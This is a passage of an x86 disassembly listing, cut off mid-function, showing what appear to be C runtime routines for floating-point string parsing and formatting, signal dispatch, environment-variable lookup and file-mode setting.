		cmp	bl, 39h
		jg	loc_42184B
		jmp	short loc_42176E
; ---------------------------------------------------------------------------

loc_421764:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 7
		jl	short loc_421777
		cmp	bl, 39h
		jg	short loc_421777

loc_42176E:				; CODE XREF: sub_4214D8+250j
					; sub_4214D8+28Aj
		push	9

loc_421770:				; CODE XREF: sub_4214D8+76j
		pop	eax

loc_421771:				; CODE XREF: sub_4214D8+240j
		dec	edi
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_421777:				; CODE XREF: sub_4214D8+28Fj
					; sub_4214D8+294j
		cmp	bl, 30h
		jnz	short loc_4217C0
		jmp	short loc_42173F
; ---------------------------------------------------------------------------

loc_42177E:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+arg_18], 0	; jumptable 0042153B case 11
		jz	short loc_4217AE
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jnz	loc_42184E

loc_42179A:				; CODE XREF: sub_4214D8+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_4217A6:				; CODE XREF: sub_4214D8+258j
					; sub_4214D8+2B8j
		push	7

loc_4217A8:				; CODE XREF: sub_4214D8+85j
					; sub_4214D8+103j ...
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_4217AE:				; CODE XREF: sub_4214D8+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4217B2:				; CODE XREF: sub_4214D8+5Dj
					; sub_4214D8+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0042153B case 10
		jz	loc_421850
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_4217C0:				; CODE XREF: sub_4214D8+12Dj
					; sub_4214D8+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_421850
; ---------------------------------------------------------------------------

loc_4217C8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], 1	; jumptable 0042153B case 9
		xor	esi, esi

loc_4217D1:				; CODE XREF: sub_4214D8+339j
		cmp	dword_4397AC, 1
		jle	short loc_4217E9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4217F8
; ---------------------------------------------------------------------------

loc_4217E9:				; CODE XREF: sub_4214D8+300j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_4217F8:				; CODE XREF: sub_4214D8+30Fj
		test	eax, eax
		jz	short loc_421818
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_421813
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4217D1
; ---------------------------------------------------------------------------

loc_421813:				; CODE XREF: sub_4214D8+334j
		mov	esi, 1451h

loc_421818:				; CODE XREF: sub_4214D8+322j
		mov	[ebp+var_1C], esi

loc_42181B:				; CODE XREF: sub_4214D8+371j
		cmp	dword_4397AC, 1
		jle	short loc_421833
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_421842
; ---------------------------------------------------------------------------

loc_421833:				; CODE XREF: sub_4214D8+34Aj
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421842:				; CODE XREF: sub_4214D8+359j
		test	eax, eax
		jz	short loc_42184B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42181B
; ---------------------------------------------------------------------------

loc_42184B:				; CODE XREF: sub_4214D8+99j
					; sub_4214D8+E4j ...
		dec	edi
		jmp	short loc_421850
; ---------------------------------------------------------------------------

loc_42184E:				; CODE XREF: sub_4214D8+261j
					; sub_4214D8+2BCj
		mov	edi, ecx

loc_421850:				; CODE XREF: sub_4214D8+2DDj
					; sub_4214D8+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_421938
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_42187C
		cmp	[ebp+var_45], 5
		jl	short loc_421870
		inc	[ebp+var_45]

loc_421870:				; CODE XREF: sub_4214D8+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_42187F
; ---------------------------------------------------------------------------

loc_42187C:				; CODE XREF: sub_4214D8+38Dj
		mov	eax, [ebp+var_C]

loc_42187F:				; CODE XREF: sub_4214D8+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_42192E

loc_421889:				; CODE XREF: sub_4214D8+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_421897
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_421889
; ---------------------------------------------------------------------------

loc_421897:				; CODE XREF: sub_4214D8+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_421411
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4218B6
		neg	eax

loc_4218B6:				; CODE XREF: sub_4214D8+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4218C1
		add	eax, [ebp+arg_10]

loc_4218C1:				; CODE XREF: sub_4214D8+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4218C9
		sub	eax, [ebp+arg_14]

loc_4218C9:				; CODE XREF: sub_4214D8+3ECj
		cmp	eax, 1450h
		jle	short loc_421900
		mov	[ebp+var_2C], 1

loc_4218D7:				; CODE XREF: sub_4214D8+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4218E3:				; CODE XREF: sub_4214D8+454j
					; sub_4214D8+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_421949
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_42195E
; ---------------------------------------------------------------------------

loc_421900:				; CODE XREF: sub_4214D8+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_421910
		mov	[ebp+var_30], 1
		jmp	short loc_4218D7
; ---------------------------------------------------------------------------

loc_421910:				; CODE XREF: sub_4214D8+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4220C1
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------

loc_42192E:				; CODE XREF: sub_4214D8+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------

loc_421938:				; CODE XREF: sub_4214D8+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_42195E
; ---------------------------------------------------------------------------

loc_421949:				; CODE XREF: sub_4214D8+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_42195E
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_42195E:				; CODE XREF: sub_4214D8+426j
					; sub_4214D8+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4214D8	endp

; ---------------------------------------------------------------------------
off_421979	dd offset loc_421542	; DATA XREF: sub_4214D8+63r
		dd offset loc_421591	; jump table for switch	statement
		dd offset loc_4215E8
		dd offset loc_421612
		dd offset loc_42166D
		dd offset loc_4216E4
		dd offset loc_42171A
		dd offset loc_421764
		dd offset loc_421743
		dd offset loc_4217C8
		dd offset loc_4217B2
		dd offset loc_42177E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219A9	proc near		; CODE XREF: sub_42074B+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_421A0B
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_421A0F
; ---------------------------------------------------------------------------

loc_421A0B:				; CODE XREF: sub_4219A9+5Aj
		mov	byte ptr [ebx+2], 20h

loc_421A0F:				; CODE XREF: sub_4219A9+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_421A35
		test	edi, edi
		jnz	short loc_421A35
		cmp	[ebp+arg_0], edi
		jnz	short loc_421A35

loc_421A20:				; CODE XREF: sub_4219A9+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_421C33
; ---------------------------------------------------------------------------

loc_421A35:				; CODE XREF: sub_4219A9+6Cj
					; sub_4219A9+70j ...
		cmp	dx, si
		jnz	short loc_421AB4
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_421A4E
		cmp	[ebp+arg_0], 0
		jz	short loc_421A5D

loc_421A4E:				; CODE XREF: sub_4219A9+9Dj
		test	edi, 40000000h
		jnz	short loc_421A5D
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_421AA3
; ---------------------------------------------------------------------------

loc_421A5D:				; CODE XREF: sub_4219A9+A3j
					; sub_4219A9+ABj
		test	cx, cx
		jz	short loc_421A77
		cmp	edi, 0C0000000h
		jnz	short loc_421A77
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Ind	; "1#IND"
		jmp	short loc_421A86
; ---------------------------------------------------------------------------

loc_421A77:				; CODE XREF: sub_4219A9+B7j
					; sub_4219A9+BFj
		cmp	edi, eax
		jnz	short loc_421A9E
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Inf	; "1#INF"

loc_421A86:				; CODE XREF: sub_4219A9+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_421A95:				; CODE XREF: sub_4219A9+109j
		and	[ebp+var_4], 0
		jmp	loc_421C0C
; ---------------------------------------------------------------------------

loc_421A9E:				; CODE XREF: sub_4219A9+C5j
					; sub_4219A9+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_421AA3:				; CODE XREF: sub_4219A9+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_421A95
; ---------------------------------------------------------------------------

loc_421AB4:				; CODE XREF: sub_4219A9+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4220C1
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_421B15
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421EA1
		pop	ecx
		pop	ecx

loc_421B15:				; CODE XREF: sub_4219A9+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_421B2F
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_421B32
		jmp	loc_421A20
; ---------------------------------------------------------------------------

loc_421B2F:				; CODE XREF: sub_4219A9+173j
		mov	edi, [ebp+arg_C]

loc_421B32:				; CODE XREF: sub_4219A9+17Fj
		cmp	edi, 15h
		jle	short loc_421B3A
		push	15h
		pop	edi

loc_421B3A:				; CODE XREF: sub_4219A9+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_421B50:				; CODE XREF: sub_4219A9+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_421B50
		test	esi, esi
		jge	short loc_421B7A
		neg	esi
		and	esi, 0FFh
		jle	short loc_421B7A

loc_421B6D:				; CODE XREF: sub_4219A9+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213E4
		dec	esi
		pop	ecx
		jnz	short loc_421B6D

loc_421B7A:				; CODE XREF: sub_4219A9+1B8j
					; sub_4219A9+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_421BD7
		mov	[ebp+arg_C], ecx

loc_421B8A:				; CODE XREF: sub_4219A9+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421358
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_421B8A
		mov	eax, [ebp+arg_14]

loc_421BD7:				; CODE XREF: sub_4219A9+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_421C14

loc_421BE4:				; CODE XREF: sub_4219A9+248j
		cmp	eax, ecx
		jb	short loc_421BF7
		cmp	byte ptr [eax],	39h
		jnz	short loc_421BF3
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_421BE4
; ---------------------------------------------------------------------------

loc_421BF3:				; CODE XREF: sub_4219A9+242j
		cmp	eax, ecx
		jnb	short loc_421BFB

loc_421BF7:				; CODE XREF: sub_4219A9+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_421BFB:				; CODE XREF: sub_4219A9+24Cj
		inc	byte ptr [eax]

loc_421BFD:				; CODE XREF: sub_4219A9+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_421C0C:				; CODE XREF: sub_4219A9+F0j
		mov	eax, [ebp+var_4]

loc_421C0F:				; CODE XREF: sub_4219A9+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421C14:				; CODE XREF: sub_4219A9+239j
					; sub_4219A9+275j
		cmp	eax, ecx
		jb	short loc_421C24
		cmp	byte ptr [eax],	30h
		jnz	short loc_421C20
		dec	eax
		jmp	short loc_421C14
; ---------------------------------------------------------------------------

loc_421C20:				; CODE XREF: sub_4219A9+272j
		cmp	eax, ecx
		jnb	short loc_421BFD

loc_421C24:				; CODE XREF: sub_4219A9+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_421C33:				; CODE XREF: sub_4219A9+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_421C0F
sub_4219A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C3C	proc near		; CODE XREF: sub_41D4FC+342Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_421CA3
		dec	eax
		dec	eax
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C94
		sub	eax, 3
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C87
		sub	eax, 6
		jz	short loc_421C7A
		dec	eax
		jz	short loc_421C6D
		or	eax, 0FFFFFFFFh
		jmp	loc_421D65
; ---------------------------------------------------------------------------

loc_421C6D:				; CODE XREF: sub_421C3C+27j
		mov	esi, dword_48A2F4
		mov	eax, offset dword_48A2F4
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421C7A:				; CODE XREF: sub_421C3C+24j
		mov	esi, dword_48A2F0
		mov	eax, offset dword_48A2F0
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421C87:				; CODE XREF: sub_421C3C+1Fj
		mov	esi, dword_48A2F8
		mov	eax, offset dword_48A2F8
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421C94:				; CODE XREF: sub_421C3C+10j
					; sub_421C3C+15j ...
		push	edi
		call	sub_421D69
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421CA3:				; CODE XREF: sub_421C3C+Cj
		mov	esi, dword_48A2EC
		mov	eax, offset dword_48A2EC

loc_421CAE:				; CODE XREF: sub_421C3C+3Cj
					; sub_421C3C+49j ...
		cmp	esi, 1
		jnz	short loc_421CBA
		xor	eax, eax
		jmp	loc_421D65
; ---------------------------------------------------------------------------

loc_421CBA:				; CODE XREF: sub_421C3C+75j
		test	esi, esi
		jnz	short loc_421CC5
		push	3
		call	sub_419AF6

loc_421CC5:				; CODE XREF: sub_421C3C+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_421CD7
		cmp	edi, 0Bh
		jz	short loc_421CD7
		cmp	edi, 4
		jnz	short loc_421CFD

loc_421CD7:				; CODE XREF: sub_421C3C+8Fj
					; sub_421C3C+94j
		mov	ebx, dword_48A0C8
		and	dword_48A0C8, 0
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	edx, dword_43BC1C
		mov	dword_43BC1C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_421D00
; ---------------------------------------------------------------------------

loc_421CFD:				; CODE XREF: sub_421C3C+99j
		mov	ebx, [ebp+arg_0]

loc_421D00:				; CODE XREF: sub_421C3C+BFj
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	eax, dword_43BC10
		mov	ecx, dword_43BC14
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_421D33
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43BBA0h[edx*4]

loc_421D21:				; CODE XREF: sub_421C3C+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_421D21
		jmp	short loc_421D33
; ---------------------------------------------------------------------------

loc_421D2C:				; CODE XREF: sub_421C3C+AAj
					; sub_421C3C+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_421D41

loc_421D33:				; CODE XREF: sub_421C3C+D7j
					; sub_421C3C+EEj
		push	dword_43BC1C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_421D4F
; ---------------------------------------------------------------------------

loc_421D41:				; CODE XREF: sub_421C3C+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_421D4F
		cmp	edi, 4
		jnz	short loc_421D62

loc_421D4F:				; CODE XREF: sub_421C3C+103j
					; sub_421C3C+10Cj
		cmp	edi, 8
		mov	dword_48A0C8, ebx
		jnz	short loc_421D62
		mov	eax, [ebp+arg_0]
		mov	dword_43BC1C, eax

loc_421D62:				; CODE XREF: sub_421C3C+111j
					; sub_421C3C+11Cj
		xor	eax, eax
		pop	ebx

loc_421D65:				; CODE XREF: sub_421C3C+2Cj
					; sub_421C3C+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421C3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421D69	proc near		; CODE XREF: sub_421C3C+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43BC18
		cmp	dword_43BB9C, edx
		push	esi
		mov	eax, offset dword_43BB98
		jz	short loc_421D97
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BB98h[esi*4]

loc_421D8B:				; CODE XREF: sub_421D69+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_421D97
		cmp	[eax+4], edx
		jnz	short loc_421D8B

loc_421D97:				; CODE XREF: sub_421D69+16j
					; sub_421D69+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BB98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_421DAB
		cmp	[eax+4], edx
		jz	short locret_421DAD

loc_421DAB:				; CODE XREF: sub_421D69+3Bj
		xor	eax, eax

locret_421DAD:				; CODE XREF: sub_421D69+40j
		retn
sub_421D69	endp


; =============== S U B	R O U T	I N E =======================================



sub_421DAE	proc near		; CODE XREF: sub_42094E+23p

arg_0		= dword	ptr  4

		cmp	dword_48B690, 0
		push	ebx
		push	esi
		mov	esi, dword_48A03C
		push	edi
		jz	short loc_421E25
		test	esi, esi
		jnz	short loc_421DDF
		cmp	dword_48A044, esi
		jz	short loc_421E25
		call	sub_42217C
		test	eax, eax
		jnz	short loc_421E25
		mov	esi, dword_48A03C
		test	esi, esi
		jz	short loc_421E25

loc_421DDF:				; CODE XREF: sub_421DAE+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_421E25
		push	ebx
		call	sub_417AB0
		pop	ecx
		mov	edi, eax

loc_421DF0:				; CODE XREF: sub_421DAE+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_421E25
		push	eax
		call	sub_417AB0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_421E18
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_421E18
		push	edi
		push	ebx
		push	eax
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421E1D

loc_421E18:				; CODE XREF: sub_421DAE+51j
					; sub_421DAE+59j
		add	esi, 4
		jmp	short loc_421DF0
; ---------------------------------------------------------------------------

loc_421E1D:				; CODE XREF: sub_421DAE+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_421E27
; ---------------------------------------------------------------------------

loc_421E25:				; CODE XREF: sub_421DAE+10j
					; sub_421DAE+1Cj ...
		xor	eax, eax

loc_421E27:				; CODE XREF: sub_421DAE+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_421DAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E2B	proc near		; CODE XREF: sub_4211F1+8Bp
					; sub_4211F1+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_48B440
		jnb	short loc_421E92
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_421E92
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_421E6B
		and	cl, 7Fh
		jmp	short loc_421E78
; ---------------------------------------------------------------------------

loc_421E6B:				; CODE XREF: sub_421E2B+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_421E86
		or	cl, 80h

loc_421E78:				; CODE XREF: sub_421E2B+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_421E86:				; CODE XREF: sub_421E2B+48j
		mov	dword_48A014, 16h
		jmp	short loc_421E9C
; ---------------------------------------------------------------------------

loc_421E92:				; CODE XREF: sub_421E2B+Bj
					; sub_421E2B+27j
		mov	dword_48A014, 9

loc_421E9C:				; CODE XREF: sub_421E2B+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_421E2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EA1	proc near		; CODE XREF: sub_4219A9+165p
					; sub_4220C1+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_4220A1
		cmp	cx, 7FFFh
		jnb	loc_4220A1
		cmp	dx, 0BFFDh
		ja	loc_4220A1
		cmp	dx, 3FBFh
		ja	short loc_421F0A
		xor	eax, eax
		jmp	short loc_421F44
; ---------------------------------------------------------------------------

loc_421F0A:				; CODE XREF: sub_421EA1+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_421F2C
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_421F2C
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_421F2E
		cmp	[esi], eax
		jnz	short loc_421F2E
		jmp	loc_42209B
; ---------------------------------------------------------------------------

loc_421F2C:				; CODE XREF: sub_421EA1+71j
					; sub_421EA1+79j
		xor	eax, eax

loc_421F2E:				; CODE XREF: sub_421EA1+80j
					; sub_421EA1+84j
		cmp	cx, ax
		jnz	short loc_421F51
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421F51
		cmp	[ebx+4], eax
		jnz	short loc_421F51
		cmp	[ebx], eax
		jnz	short loc_421F51

loc_421F44:				; CODE XREF: sub_421EA1+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4220BC
; ---------------------------------------------------------------------------

loc_421F51:				; CODE XREF: sub_421EA1+90j
					; sub_421EA1+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_421F61:				; CODE XREF: sub_421EA1+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_421FB5
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_421F7D:				; CODE XREF: sub_421EA1+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421FA8
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_421FA8:				; CODE XREF: sub_421EA1+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
